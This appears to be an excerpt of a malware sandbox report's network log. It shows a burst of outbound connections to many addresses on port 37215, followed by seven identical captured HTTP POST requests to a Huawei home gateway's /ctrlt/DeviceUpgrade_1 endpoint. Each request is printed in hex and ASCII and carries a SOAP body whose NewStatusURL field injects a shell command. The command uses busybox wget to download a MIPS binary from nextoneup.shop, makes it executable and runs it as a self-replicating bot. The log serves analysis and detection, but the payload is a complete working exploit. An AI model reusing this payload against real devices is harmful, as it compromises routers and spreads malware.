Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.40.19.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.67.132.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.241.118.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.147.48.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.168.135.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.253.76.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.57.118.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.58.137.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.50.254.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.39.243.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.20.197.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.54.5.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.37.78.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.69.42.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.15.255.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.89.253.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.74.70.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.117.27.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.13.43.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.26.241.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.201.114.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.180.131.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.178.129.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.2.178.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.46.72.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.251.140.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.225.93.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.60.202.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.93.83.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.192.202.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.78.237.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.162.97.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.241.10.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.218.232.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.56.226.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.51.178.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.180.163.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.207.108.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.217.202.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.50.21.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.176.234.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.232.72.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.227.154.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.1.110.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.104.125.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.196.52.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.16.48.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.36.99.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.150.17.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.100.152.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.53.230.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.160.60.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.63.40.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.235.57.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.37.107.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.83.59.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.184.152.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.251.198.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.18.9.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.69.242.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.113.116.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.213.138.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.12.148.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.227.4.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.255.108.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.42.65.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.173.205.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.183.216.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.196.139.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.229.228.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.113.165.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.126.58.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.225.88.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.8.95.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.225.220.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.131.222.44:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
